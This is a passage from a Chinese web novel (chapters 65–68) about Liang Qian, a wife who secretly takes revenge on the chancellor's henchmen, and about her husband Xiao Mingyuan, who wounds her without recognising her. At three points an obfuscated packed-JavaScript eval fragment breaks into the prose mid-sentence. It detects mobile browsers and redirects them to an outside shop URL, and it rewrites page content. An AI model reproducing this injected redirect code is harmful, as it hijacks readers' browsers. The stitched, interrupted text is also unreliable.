梁浅摇了摇头,如今此事自己也是无能为力了。 谁能想到这么混乱? 65. 刺杀 回家的路上,见对面的梁浅一直在发呆,萧明渊伸手递过去一块糕点。 “见你宴席上都没有吃什么,还在想长公主的事情?” 梁浅抬了抬眼,笑着伸手将糕点接了过来,“我只是在想今日是哪里出了差错……” 其实从出宫到上马车这一路上,梁浅就已经猜了个大半,想必是丞相在这传话的过程中做了些手脚,添油加醋变成了让公主来见见未来的驸马。 长公主殿下本来这些天就被这些事情扰得心烦意乱,本意想必是想整整这新驸马,却没有想到对冯伏芳印象很好。 丞相这一招以退为进,无论最后长公主选谁,其实他的目的都达到了。 “事情已然发生了,再去谈过往也改变不了什么了,陛下金口玉言,如今公主状元只有成婚,只望咱这位状元郎不要再出什么差错,如今两人可算得夫妻一体了。” 萧明渊淡定的看向窗外,仿佛在思考着什么,而梁浅本来打算开口的话,也不好再开口了。 “嗯,但愿如此。” 萧明渊看着梁浅的心情好像不是很好,便又从袖口拿出了什么东西,想逗梁浅开心。 “哪只手?” 梁浅看着萧明渊幼稚的将两个拳头放在自己面前,脸上终于有了些笑意。 “嗯,左手罢。” “你确定?” “嗯,那右手?” “你确定?” “那不猜了。” “哎,别别别,唉,都算娘子对可好。” 梁浅伸手打开萧明渊的拳头,两只手里面都有一根红绳。 “娘子上回不是说那同心锁是要锁在那庙里的,这会儿我又去求了红绳,这便系在我们自己身上就好。” 萧明渊边和梁浅解释着,边将手中的红绳递了一根给梁浅,“所以我们一人一个,这就是系红绳了。” 梁浅笑出声来,没有想到这人怎么老是有这样的爱好,低手无奈的将自己手中的红绳系到了萧明渊的手上。 萧明渊见状,也伸手给梁浅系上红绳,嘴里还说着,“这就是一生一世一双人了。” “哎!你怎么给我系的是死扣?”梁浅见到萧明渊给自己的右手上系了一个超难解开的死扣,忙往他身上打了一下。 萧明渊侧过身子去躲梁浅的手,原本是呆呆地笑着给梁浅系了个死扣,此刻见梁浅怪自己,便故意装作生气的样子。 “人就是要系成这样的,这才叫作你我的红绳牵在一起。” 梁浅有些害羞,被他这样牵着,梁浅看向他的眼睛,目光灼灼。 此刻,马车里面只有两人,两人相互对视,萧明渊还牵着梁浅的手,梁浅感受得到两人都不自觉地屏住了呼吸。 就在萧明渊逐渐朝梁浅靠近,梁浅慢慢闭上了眼睛的时候,马车停了,外面传来月银的声音。 “大人,到萧府了。 因马车突然一停,梁浅一下撞入萧明渊的怀中,而萧明渊则是温柔地将梁浅扶正,随之掀起帘子便变了脸。 “月银……你这个月的俸禄没了。” 萧明渊黑着脸从马车里走了出来,然后冷冰冰地对着站在不远处呆呆牵着马的月银说道。 月银内心一片心碎的声音,在看到自己家萧大人黑着脸出来就已经预感到了不妙,而后看到自家萧夫人在扶住萧大人下马前还在整理自己的发髻。 月银好像就懂了什么,又有些脸红,又有些伤心。 刚刚撞到萧明渊身上弄乱了头发,梁浅于是全神贯注的整理着,全然没有注意萧明渊说了什么。 “月银,你怎么脸这么红?可是有哪里不舒服?” “回夫人,小人这是刚刚骑马,迎风吹的,不碍事。” 梁浅点了点头便没有在意,身后只留下流着迎风泪的月银独自哭泣。 * 梁浅回到房间就忙着在梳妆台拆着头发,萧明渊则还是望着心情有些好的去沐浴了。 这时一个婢女自然的走了进来,帮梁浅梳着头发。 梁浅看了看门口,确认萧明渊不在后,看着镜子淡定地问道:“说罢,什么事?” “回夫人,周大人传话来,说,丞相府里少了人,让夫人一切小心。” “嗯,知道了,你退下罢。”婢女将梳子放回桌上便低头出去了,结果迎面遇到了萧明渊。 “见过萧大人。” 萧明渊嗯了一声,眼都没抬就迈步进了里屋,见到梁浅便又笑眯眯地说:“哎呦,今日外面有些冷,可要我抱夫人过去……” 萧明渊说完话抬头便飞来一个枕头,萧明渊稳稳接住,“夫人这是不愿意……” “你去快去睡罢,不想理你。” 梁浅这两日在好运来坐着老是会莫名其妙的笑,财之看到总是不停的眨着眼睛,怀疑自己是不是看错了。 “财之大人,您这是怎么了?莫不是眼睛里进沙了?”站在一旁的芸香拿着扇子走了过来。 “嗯,掌柜的,你说这东家这是怎么了,这些日子老是看着自己的手笑。” 财之平日里和芸香说自己见多识广,可是每次看到梁浅的样子,他还是满脸好奇的样子。 “你啊,那懂这些,这是说明咱掌柜和萧大人好着呐,你就别担心了。” 芸香一脸开玩笑的表情,说罢还将扇子拿起来往财之身上敲了一下。 财之抱着被打到的地方假装吃痛,结果回头就看到脸色铁青的无情,“大大大,大师好。” 无情勉强地挤出笑容嗯了一声,便径直朝梁浅走去,梁浅见状也赶紧站了起来。 看到无情的表情,梁浅也大概猜到了是什么事,挤出些笑容来。 “放心,您交代的事情有眉头了,这几日我便会去做。” “嗯,还是一切小心,我前些日子有些太急了,朝你发了火,对不住你,这银针给你,上面淬了毒,你拿去做防身用。” “谢师父。”梁浅小心翼翼地接过盒子,无情也像是有些尴尬似得,转身回了自己的院子。 财之和芸香见无情走了,这才敢凑上来。 “东家若是需要,楼上东边的那间厢房始终给您留着,您尽管用就是,若是有事,就叫人来找我。”芸香走过来站在梁浅身旁拉住了梁浅的手,关心地看着梁浅。 梁浅看着手中的盒子深吸一口气,对芸香说:“多谢你的好意,芸香,师父还在和我有些置气…… 若是明日你瞧见厢房灯亮了,便去告诉我师父一声,事情都办好了,若是没亮,萧府来人问什么,你便同他们说你不知道就是,然后寻机和师父逃走。” 便转头朝财之说道:“福之那边确定了便立即来报我,你也随时准备好。” * “你确定了?就是这里?福之。” 梁浅望着远处的竹林,手里用黑布缠绕着自己的手臂。 “是,头儿,前些日子万星每日都在此处,就是昨日才被萧大人叫回去的,而后又加了守卫。 我装成山上的樵夫假装路过,见到院子里停的马车确实就是那日带百里洋走的那辆。” 福之低头对梁浅回应着,财之皱着眉头又问道:“那你可见那些看守的人有多少,可试了试武力。” “哥哥放心,那些人常巡逻的地方,什么时候换班我都给头儿画出来看过了,虽说那些人都是练家子,可夜里太暗,头儿身手好,不会被发现的。” 一阵阴冷的风吹过,梁浅带起黑色的面巾,又朝财之问道:“萧大人那边呢?” “哦,我出来的时候萧大人刚回府里,不过前脚才进门,后脚宫里便来了人将大人叫走了。” 福之点了点头,“那茅屋里想必只有我们要找的人了,头儿,要不还是我们去罢。” 梁浅摇了摇头,只朝两人说道:“你们且在此处等我,事成之后,若是我身后有人追,我可能要绕些路才来,你们切勿暴露。 若是遇到危险,我还没有来,你们先走才是。” 财之福之站在树下,听梁浅这番话说完便坚定的看着梁浅。 “我们一定会等着头儿的,才不会临阵脱逃!” 梁浅看着两人无奈的摇了摇头,转身便隐入黑暗中去。 * 绕开了四周的守卫,梁浅小心的探查着这茅草屋,透过窗户发现里面别有洞天。 里面的各种家具配饰和京城自己家的没有什么差别,甚至在百里浪的房间里还放着好饭好菜,只不过百里浪一口未动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我说我说,只求你不要伤害他们母子,这些年是我对不住他们,我想着她定会改嫁的…… 当年,当年,丞相贪了户部拨下去的赈灾粮,无心大侠刚好想为一百姓鸣不平,去了县衙,却刚好偷听他们在商量此事。 无心和无伤大侠后来就去偷了丞相的账本,想进京告状或公之于众,未曾想,刚出发就被江湖下了追杀令。 这一切,都是丞相的主意,当年拿到了账本,我们将无心逼上山崖,我说他掉下去就算了。 是,是,丞相身边那个别样红,他说要不留后患,才下去寻得他,才,才将他的手筋挑断,废了他的武功的。” 百里浪说得颤颤巍巍,只是双手合十在求梁浅,眼睛也一直看着梁浅另外一只手里的玉。 百里浪哭的鼻涕一把眼泪一把,梁浅却对他这副惺惺作态的样子感到恶心。 “大侠大侠,您不是要报仇嘛,我到时候可以当证人指认丞相。” 百里浪用力擦了一把自己的脸,然后朝梁浅谄媚的笑着。 “不需要,我知道真相就行了,不需要你作证。” 梁浅冷冰冰地看着百里浪,百里浪又哭诉道。 “别杀我,大侠,让我和他们见一面,呜呜呜,我对不起他们。” 梁浅弯下身子,靠近百里浪的耳朵说道:“那你去阴曹地府见他们罢。” 百里浪的身体像是被定住一般,久久不再动弹,只是眼泪无声的流。 “你以为我怎么得的这块玉,这玉还是我师父去探望,她托我师父寻你才给的。 你的师妹,当年就难产而死,一尸两命。” 梁浅将玉丢了过去,百里浪呆呆地拿起玉来望了又望,半晌才终于发出痛苦的哀嚎。 守卫对于百里浪日常里的鬼哭狼嚎已经见怪不怪,梁浅走神了一刻。 这样的人的痛苦,究竟是为了什么?这样的痛苦,怕是也抵不过被他伤害之人的半分痛苦罢。 就在这梁浅走神的片刻,屋外忽然传来一个士兵的声音。 “见过萧大人。” 66. 雨夜 梁浅听到屋外的声音,手起刀落,百里浪随即握着那块玉倒了下去。 下一刻,梁浅刚转身往窗外跑去,房间的门便被萧明渊一脚踹得粉碎…… 梁浅也没有想到萧明渊竟然又会赶过来,全然不顾身后的人,此刻只想赶紧逃离。 可萧明渊一个飞身便将剑朝梁浅身后正正刺来,梁浅闪身躲避,萧明渊则顺势挡在了窗边。 两人就此交起手来,屋里只剩下两人刀剑碰撞的声音,只有偶尔的几声闪电照亮过一瞬,随即又陷入黑暗。 于萧明渊看来,一个黑衣刺客前来刺杀了丞相多年的打手,想必定然也有牵连,于是招招都在压制着对面。 在接过好几招后,梁浅身上被伤到了好几处,萧明渊手上也被划破得流出了血。 而梁浅见到萧明渊后,因为自己太想逃离,对面却迟迟没有后退的痕迹,自己有些乱了阵脚。 恍惚一刻,手上的刀便被萧明渊挑落,然后萧明渊便顺势对着梁浅的右手一砍,梁浅往后退去,可手上之前缠上的带子却正好被划破。 剑光闪过,萧明渊仿佛看到了对面手腕上闪过的一抹红色,于是手中要刺出的剑便停了下来。 梁浅抓住这个时机,一脚用力踢向萧明渊,对面一脸难以置信的表情,像是旧伤复发的样子,一个踉跄差点倒了下去。 梁浅乘机转身,结果此时万星和月银才赶到门口,屋外的火光也终于照了进来。 月银见着自家将军用剑撑着地,女刺客正打算翻窗出去,之前抓的百里浪已经倒在了地上,且这女刺客看着还有些眼熟,瞬间就猜到了大半,月银便愣在了原地。 万星就没有这么有眼力见了,见到萧明渊的样子便以为是自家大人旧伤复发,加上这个刺客太过歹毒,所以冲进来二话不说就先将手里常年备着的暗器丢了出去。 “大胆刺客!看招!” 梁浅艰难的朝后面撒了一把粉末,感到后背一阵吃痛,可听着逐渐靠近的脚步,自己不敢懈怠,连忙朝竹林里跑去。 萧明渊正打算上去打飞暗器之时,却被突如其来的粉末迷了一下眼睛,然后便听得面前嘶的一声惊叹,自己的心便一下子揪了起来。 粉末逐渐散去,万星躲避不及,被呛得咳嗽起来,见到萧明渊还在屋里,还不忘关心他的状况。 “大人,您可是旧伤又复发了?不要紧罢。” 只见萧明渊一改往日对他们虽然淡然却还有一丝温情的表情,此刻眉宇间尽是愁容,然后愤怒地抬眼看向万星,“我让你动手了吗!” 万星被吓得一啰嗦,呆呆地低着头不知道如何是好,旁边月银伸手将他拉了过来。 萧明渊咳嗽了两声,然后朝两人说道:“追!切记不可伤她!” 话音刚落,萧明渊便跟着窗户翻了出去,月银和万星则踉踉跄跄地跟了上来。 “月银,你说大人这是怎么了?我这关心他还关心错了我。” 万星跟着月银后面嘟囔着,月银则只是回头看了他一眼摇了摇头,“你最好求那位女刺客还活着,否则我也救不了你。” * 梁浅朝竹林里走去,黑夜之中,正下着雨,追踪的人也只能步行,所以此时萧明渊的人此时还没有追上梁浅。 “哟,夫人这是弄得好生狼狈。” 扶着自己肩膀艰难前行的梁浅突然听到身侧传来一个男人的声音,梁浅抬眼看去,雨夜竹林中,一个身穿蓑衣的男子抱着一把剑,剑柄上像是荷花样式,就这样站在雨中看着梁浅。 梁浅的记忆忽然重叠,那日自己和无面被人螳螂捕蝉黄雀在后拿了假密诏,这剑……想必也就是他了。 “怎么?这位大侠认得我?” 梁浅继续朝前假装不在意的走去,那人见到梁浅想逃,便直直冲上前来。 梁浅只能侧身躲避,然后继续问道:“怎么?大侠是来灭口的?可我未曾得罪过大侠啊?大侠这般不明是非岂是江湖人所为。” 梁浅继续朝后面躲避着对面的攻击,见对方只是冷漠的劈砍而来,梁浅不慎跌倒下去,仿佛听见自己手骨折的声音,强忍着痛意又继续说着。 “哦,我忘了,你早就不是江湖人了,而是丞相府的一条卑微屈膝的狗罢了!是吗,别样红大人?” 对面听到这里,终于停下了攻击,随即冷笑着摘下了斗笠,然后直勾勾地看着梁浅,“看来你已经认出来我了,那你更不能留了。” 别样红作势又朝梁浅刺来,梁浅忙侧身伸出手止住,“慢!大侠,要我死也得给个明白不是?是因我确定了偷密诏的背后主使是丞相?还是我知道了你们也想杀百里浪灭口?还是丞相多年前的缺德事被我知道了?” 梁浅边慢慢说着边拿出了自己师父给自己的毒针,然后在对面一脸疑惑地看向梁浅时,梁浅先将自己刚刚将一个袖箭丢了出去,吸引了别样红的注意。 “你就这点本事?” 别样红将袖箭打飞后洋洋自得地看着梁浅,见梁浅站在原地不动,嘴角还含有笑意,他便觉得不妙,低头看向自己的左臂。 别样红的左臂上显然插着几根银针,气急败坏之际,别样红想使用内力,却直接吐出了血。 见别样红失去了力气倒了下去,梁浅这才走了过来,弯腰拿起了别样红手里的剑。 雨下得越来越大,别样红中了毒躺在地上动弹不得,不断落在脸上的雨水让梁浅的面巾变得潮湿。 看着别样红手上的痕迹,梁浅想起师父说的话,冷笑着说道:“果然是你。” 梁浅摘下面巾,雨水在她脸上滑落着来过的痕迹,一刀,别样红惨叫了起来。 又是一刀,一刀…… “既然你那么喜欢断人筋脉,那今日我便让你也尝尝着滋味罢,别样红大人。” 别样红的叫声引来了远处的人马,梁浅见他还在挣扎,便直接挥刀断了他的一只手臂。 “这是回敬给你的,别样红,你背信弃义,通敌卖国,于江湖道义,于黎明百姓,这是你应得的!” 说罢,梁浅冷冷地看了一眼满脸不可思议地别样红,将他的剑丢到一旁便毫不犹豫地转身离开了。 雨敲打着竹林,梁浅加快脚步绕回去找财之福之,眼前却逐渐看得模糊。 财之一看到梁浅从竹林里面出来便赶紧将自己身上的蓑衣脱下来盖到了她身上,而她也在见到两人后就控制不住倒了下去。 “福之,你背着头儿从小溪这里过去,我骑马把这些人引开。” 福之点了点头,便将自己身上这件稍微大一些的蓑衣脱了下来给自己哥哥穿上,然后才将梁浅背在背上。 “哥哥可要小心,事后我们好运来见。” “放心,我有数,你带着头儿去罢。” 梁浅虽然倒了下去,可迷迷糊糊还是听到了两兄弟的对话,用尽全力伸出手来。 “头儿?你可是要说些什么?” 财之见状上前侧着耳朵听着,梁浅感到喉咙开始发痒,咳了两下才喘着气说道:“不去好运来,去柳宅……你一切小心……” 财之朝着梁浅坚定地点了点头,和福之交换了一下眼神,便翻身上马朝另一个方向跑去了,而福之也背着梁浅悄悄地蹚过水,背上的梁浅也在不知不觉晕了过去。 萧明渊走在队伍的最前面,听到竹林里的哀嚎便朝这边赶了过来,结果只见到一个断了一只手全身不得动弹的男子躺在地上。 月银上前探了探那人的鼻息,“大人,还有气。” 万星探出身子盯着那人的脸看了半天,“哟,大人,这不就是我们前些日子查的那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044145|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别样红嘛。” 萧明渊见状不禁暗自喃喃道,“难不成交了手?” 月银见到萧明渊的脸色又凝重了许多,先叫人把别样红抬走,然后用力地瞪着万星给他递着眼色。 可万星全然没有看到,看到人把别样红抬走了还贴心的递上了手臂。 萧明渊转身跟着血迹又追了上去,又是一阵止不住的咳嗽,“大人,让我们去找罢,您这想必是旧伤复发,今日伤口还淋了雨,恐怕伤势加重,我们保证安安全全把人带回来。” 萧明渊没有理会身后万星的话,只是看着这漆黑的雨夜,心里只想着,她会不会也被雨淋到了伤口,此时又在何处…… 终于萧明渊在追到溪水旁时便径直倒了下去,月银和万星一时间没有及时扶住,萧明渊的头还磕到了旁边树上,当时就晕了过去。 “大人!万星,你扶大人回府医治,我顺着这马的踪迹追去,快!” “好好好。”万星用力点着头,一把将萧明渊抗到了肩膀上就往来时路走去,月银则看了看地上的痕迹,又皱着眉头看了看一旁的溪水,犹豫片刻,最终还是没有朝溪水走去…… * 柳烟晴自从回了柳宅,就在后院晒起了药材,平日里去梁浅师叔家的医馆帮忙,闲暇就自己在家鼓捣着各种药材。 梁浅曾经带着财之福之来这里寻过柳烟晴,所以财之熟门熟路地赶到了后门…… “是谁?这么晚了还来敲门?” 管家本来还说这雨来得突然,到后院看看小姐的药材有没有收进去,结果到后院柳烟晴早就回来且将药材都收好了。 闲来无事的他便顺路看看门可关好了,正巧就听到了敲门声。 “还请柳娘子救命!” 打开门来,是两个淋得湿透的人,男子背上的人还流着血。 “这不是?!快快进来!”管家认出了福之背上的梁浅,于是赶紧给人迎了进来,又朝门外看了看确定身后无人才又关上了门。 “小姐小姐!有人来寻你。”管家带着两人径直走到后院柳烟晴的房间敲着门。 烟晴一打开门就被吓了一跳,福之全身湿透,肩膀还被血染得殷红,梁浅垂着的手上不知是血是水还在滴落。 “阿浅!快快进来!” 福之将梁浅小心翼翼地放在了榻上,自己身上还滴着水,眼睛却始终盯着梁浅。 “柳娘子快看看头儿罢,她是不是晕过去了?” 柳烟晴将梁浅身上的蓑衣取下来,摸了摸她的额头,体温高得吓人。 “放心,这里我会照顾好的,管家,你带这位公子去换身干衣裳,洗个热水澡,我这里让婆子也打些热水过来…… 这位娘子在这里的消息不可让再多的人知道了,若是有人打听,你只管说是我老家的表妹雨夜来寻得我。” 柳烟晴对着两人吩咐着,手里也丝毫没有懈怠,拿起了银针准备扎针。 “不,我要在这里看着头儿,头儿不醒我不放心。” 福之个子又高又壮,管家想拉他也半天拉不动,柳烟晴叹了叹气,然后十分认真地同他说着。 “福之,我不知道你们今夜经历了什么,可见这般情形,如今她身边能依靠的只有你一个人了,你若还站在这里受凉生了病,我可腾不出手来照顾你,你也别说今后帮她了。” 柳烟晴说罢,便直接转过头给梁浅施起了针,而福之也咬了咬牙依依不舍地跟着管家走了出去。 梁浅此时发起了高烧,但是感觉自己此时没有在淋雨了,身上的疼痛好像也减轻了几分。 梁浅虚弱地睁开眼睛,看到的是柳烟晴正在给自己擦脸,心里的委屈一下子涌了上来,艰难伸出手抱住烟晴哭了起来。 “烟晴……呜呜呜……萧明渊他……他砍我……” 67. 两个傻子 烟晴抱着梁浅不断地安慰着,嘴里轻声说:“好了好了,没事了。” “呜呜呜,他好狠的,呜呜呜。” 梁浅在烟晴怀里撒起了娇,哭得越发放肆起来,“他还瞒了我许多事,呜呜呜……” 烟晴耐心地听着梁浅吐槽萧明渊的种种,终于在梁浅稍微缓和一些,也是终于哭得没有力气的时候将她推回了榻上靠着。 “你说人家瞒你,你不是也一直瞒着人家许多事?” 梁浅听到这话,自己也有些不好意思地点了点头。 烟晴拿帕子擦着梁浅身上的血,然后直接将药粉倒在伤口处,梁浅痛得皱起了眉头。 “嘶……” “疼得紧吗?”烟晴淡定地按着伤口然后抬头看向梁浅,只见梁浅又撅起了嘴,看着自己的伤口像是又想起伤心事一般。 “疼。” 柳烟晴见她这样子轻声笑道:“哦,那这样的话,是伤口疼还是心疼?” 烟晴本来说这话是想打趣下梁浅,转移一下梁浅的注意力,却没有想到梁浅脸上的泪又大颗大颗的掉了下来。 “都疼。” 烟晴无奈地摇了摇头,像是哄孩子一样,忙说着,“好,马上就好了,忍一下。” 弄好伤口之后,烟晴起身去倒了一杯水递给梁浅,“你这如今是怎么了?给自己弄了一这身伤。” 可没有想到烟晴转身的功夫,梁浅便靠在榻上睡着了,烟晴又将水放回了原处,看着她终于安静下来的摸样说着。 “嗐,你这人竟然也会成了痴人。” * 烟晴本来说来医馆找些药带回去给梁浅,结果才打包好便听到楼下像是闹了起来…… “这位大人,您说的那位老郎中今日不在,若是郎中回来了我同他讲,让他去萧府可好。” 烟晴捕捉到医馆伙计嘴里的萧府,心中好奇,便戴上面纱下了楼。 “这是怎么了?”烟晴背着自己的小药箱朝伙计这边走过来。 “柳娘子,这位大人说他家老爷病又复发了,以前一直是咱家郎中看的,可郎中今日出诊不知何时才归呢。” 伙计朝柳烟晴恭敬地行礼说着,而对面站着的正是萧府的万星,他满眼血丝,头发乱蓬蓬的。 “我今日遣人来了几回都是这般说辞,我不管我不管,我就在这里坐着,你快去找他回来。” 万星耍起了赖皮,伸腿坐在了医馆门口,而周围已经有了几个过客在指指点点。 “好了,这位大人,我同你去罢,若是到城外出诊,想必没有个一两日是回不来的,我是这家老郎中收的弟子,常见的诊治我也是能医的,病人更重要才是。” 万星狐疑地看着眼前的这位女子,虽然感觉有些熟悉,但是却想不起是在何处见过。 “你,可能相信?” 柳烟晴微微一笑,心里已经懂得了万星的用意,病不是大病,只是一方面需要让世人知道萧大人病了,推辞些事情,另一方面却又不能让别人知道是什么病,这才必须要那位老郎中的。 “实不相瞒,我与萧家夫人熟识,才入京时,她还请我去好运来坐过,她还同我说,萧大人他……” 烟晴故意放慢了自己的语气,万星听到夫人本来就心虚,更听得这语气,害怕她们女子之间要是说起自家夫君的隐疾,这还得了,忙伸出手制止。 “好,就你了,随我来。” * 柳烟晴跟着来了萧府,如今全府上下静得吓人,自己却全然不在意,只是想着梁浅定是也想知道这个人的消息,自己这才来的。 进了屋子,月银已经回到了府里,有些笨拙地正在床边给萧明渊换着额头上的手巾。 “怎是位女郎中?”月银见到柳烟晴下意识地问道。 万星则急匆匆地关上门跟了上来,“你管是不是女郎中,等大人烧死了就什么郎中都不管用了。” 烟晴没有理会两人,先坐下把了脉,然后从容地取出银针开始施针。 萧明渊脸色很差,像是又烧了起来,意识模糊得很,“你们两个,昨夜就该去寻郎中的,这会儿才来,怕是……” 万星和月银焦急地看着烟晴,万星仿佛急得要哭出来,“可昨夜大人说不得让外人知晓,只是小伤无碍,只包扎了下外伤,我们见早上烧得紧了,这才慌慌忙忙去请的,可是,可是晚了?” “不算晚,你去拿着这单子去抓药来罢,你去重新倒些干净的水来,我在这里施针。”烟晴冷冷地同两人说道,万星忙抹了脸上的泪抓着单子就朝外面跑去,月银也拿着盆子走了出去。 烟晴则淡定地扎针……刚收了针,便听到萧明渊嘴里好像嘟囔着什么,烟晴不禁偏头去听,却只听得萧明渊嘴里说着。 “娘子……娘子……我……我……” 烟晴直起身来意味深长地看着躺在床上的萧明渊,转头又瞥见那只有梁浅手艺才做得出来的荷包,长叹一口气。 “两个傻子。” 接下来的几日,柳烟晴也就在两地来回跑,看着两个人醒过来的呆样施针。 “烟晴,你说他是不是对我没有一点关心,竟然一点都认不出来我。” “阿浅,你有没有想过你当时穿着黑衣蒙着面,黑夜之中像个鬼影一样,认不出才是人之常情罢。” …… “神医,你说如果你有一个朝夕相处且心爱的人,可她出现在你面前你却没有认出来,你还不由分说伤了她,她会不会很伤心。” “我只医人,不伤人。” …… “烟晴,我是不是变了,我是不是可以趁着这个时机跑了?可我还想和他见一面,你说……” “想见就见,不见就不见,快涂药了,阿浅。” * 就在两人养病的时日里,青月长公主出嫁了,世人都说驸马爷眉清目秀,与公主更是郎才女貌。 可一路上却没有见驸马爷挤出来什么笑容,直到了太后面前被太后训斥,这才提着脸挤出些许笑容来拜了堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057378|147035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主殿下倒是女儿娇羞,今日比起平日来都规矩了几分,送公主离宫时,几位嬷嬷还悄悄抹了抹眼泪。 驸马看到别人抹眼泪,自己好像也抹出泪来,跟在后面的周玉察觉了几分,悄悄走上前去。 “驸马爷?可是什么熏着了?怎见你好像在抹泪?” “无事无事,我只是想是我高攀公主,日后怕是要让公主受委屈了。” 周玉抱着今日的流程单松了一口气,暗自还赞叹到这驸马爷倒真是个心慈心善的人。 “驸马爷您多虑了,若是真的您担心,可要我安排人给您备上些药?” “什么药……这!不必不必。”冯伏芳听到周玉的暗示脸通红起来,更是不知道看何处。 “驸马您可是醉了?那我安排人送您回去罢。”周玉说着便招手让人上前来搀扶着冯伏芳,然后又附在冯伏芳的耳边说话。 “驸马爷不必担心,若是您伺候不好公主,只管学着大度些,让那些面首进府就是了,本来太后也是想让公主先成家的,不碍事不碍事。” 冯伏芳听着话更是急得说不出话来,只是啊了半天,却又不能将自己的心里话说出来。 而这场婚礼,京城里的丞相大人和萧侯爷竟然都没有来,丞相只听得是生公主的气,而萧侯爷则是和夫人染了风寒,在家中休养…… “神医,你说她会不会因为我认出来了,所以害怕躲起来了,她身上还有伤,你说她现在在哪里?” “你承认就在你心里,把那只手伸出来我扎针。” “是,她在我心里,我是不是表达得还不够明显,所以她对我还是不满意?” “我只是一个郎中,医人却医不了心,按照您这说法,你们两个人这是心病,心病还需要心药医,若是这心病医不好,你们这呆头呆脑的病可改不了。” 萧明渊呆呆地偏着脑袋看着柳烟晴,“我们?” “我与你家夫人是旧相识,她的性子我多少也知道些,不过是个迟钝的罢了,自己也是个看不清的,若是你看清自己的心了,可要好好同她说,不然……她的性子是在这萧府里关不住的。” 柳烟晴假装无事背着药箱就打算离开了,萧明渊也好像听懂了她的暗示,心里不免闪过一个令自己感到害怕的想法,“难不成她要走?” 萧明渊慌慌忙忙地从床上起来,正好将枕头推开了,手里好像摸到了什么。 这荷包,倒像是她那日逛街买的。 萧明渊十分珍惜地将梁浅的荷包拿在手上,然后好奇地打开看了看里面是什么。 先落到手心里的是几片桃花花瓣,然后是一个剑穗…… “桃花……这剑穗……是你!” 萧明渊的伤虽然这几日用药已经不疼了,却被这一下子的惊讶急得吐出了血。 “大人!你这怎么……哎呀,才见好些,你这又望着夫人的物件睹物思人起来了。” 萧明渊将手上的东西小心收好,然后朝月银问道:“我无事……她,可寻到了?” 68. 不知天地为何物 柳宅,天又下起了雨,管家在招呼着在门口打扫的人进来,柳烟晴也刚刚进来,正擦着刚刚被雨打湿的衣裳。 门才关上便听到又人敲门的声音,柳烟晴准了管家来看,开门来人竟然是萧明渊。 管家顿时慌了神,自家小姐在此,怕是这位“姑爷”还不知道真相,放进来不是,不放进来也不是。 “还请通报你家小姐,萧明渊求见。”萧明渊身上也被淋了雨,见到管家慌神的样子便心领神会,退却一步静静站在门口等着。 “这……”管家有些无助地看向自家小姐,柳烟晴听出了萧明渊的声音,朝管家点了点头,便顺手摘下了自己的面纱。 “大人请进。我家小姐有请。” 萧明渊刚抬步进来便看到了气定神闲的柳烟晴,自己也从容地回礼。 “见过柳小姐。” “见过萧大人。” 管家看了看两人的样子,虽有些惊讶,但是没有想象中的火药味,松了口气,便识趣地走开了。 “大人认得我?” “儿时我从柳府收到的回信,如今看来虽大多数是阿浅所写,可偶然有一两篇字迹不同,想必便是柳小姐亲自书写,这几日我也见到了柳小姐写的药方,自然就认了出来。” 柳烟晴了然轻笑,转过身朝院里走去,“倒是我大意了,如今萧大人可是来兴师问罪的?” 萧明渊原本跟着柳烟晴的步伐慢慢地走在后面,听到柳烟晴这一问先是一顿,然后又拱手行礼,柳烟晴则直接摇了摇头将他带到里屋。 “柳小姐误会了,我今日来并非是兴师问罪,而是想见阿浅一面。 当日我才回京中,各方势力虎视眈眈,我当时也是想着是许我家当年对柳家之诺才上门提亲,却也确实有想利用小姐来挡京城众人的想法。 我原本是想不过是妻子,我与她举案齐眉就好,我还有更重要的事……可自从见了阿浅,我便知道我这想法是错了。 见到她的第一眼,我便觉得她是这世间最与众不同,最好看的女子,和其他人都不一样。 后来与她相处,她的一瞥一笑,让我想永生珍藏,她若遇险,我便揪心万分,见她受伤,我更是心如刀绞。” 萧明渊说得声情并茂,而柳烟晴则早早地坐在桌边喝起了茶,听到萧明渊那些心痛心绞的话,柳烟晴不禁用杯子挡住了自己的嘴,怕自己笑出声来。 “我同阿浅说的真心相对并非虚言,我明白,她是向往天际的鸟儿,却被我困在一方围墙之中,若是她要走,也请小姐看我诚心诚意之下,让我同她再见一面,更别说我们儿时也曾见过,那时我就失了言……。” 见萧明渊有低落了起来,柳烟晴咳了咳坐正了身子。 “那她骗婚与你,你可要追究?” “这并非是阿浅骗婚与我,而是我们两人缘分天注定,我怎会怪罪。” “那她在你们新婚第一日便跑了,你就没有怀疑过?” “那定是阿浅对我还不够满意,我那几日确实表现得不好,我朝她赔罪。” “那你这次受伤也是她伤的,你?” “定是阿浅怪我没有认出她来,故意惩罚于我。” 柳烟晴噗嗤一声笑了出来,见萧明渊从一脸认真变得一脸疑惑便伸手指了指一旁的屏风。 “那我柳家?” “柳小姐是我们二人的救命恩人,柳小姐大义萧某佩服,大恩无以为报,又怎会计较其他。” 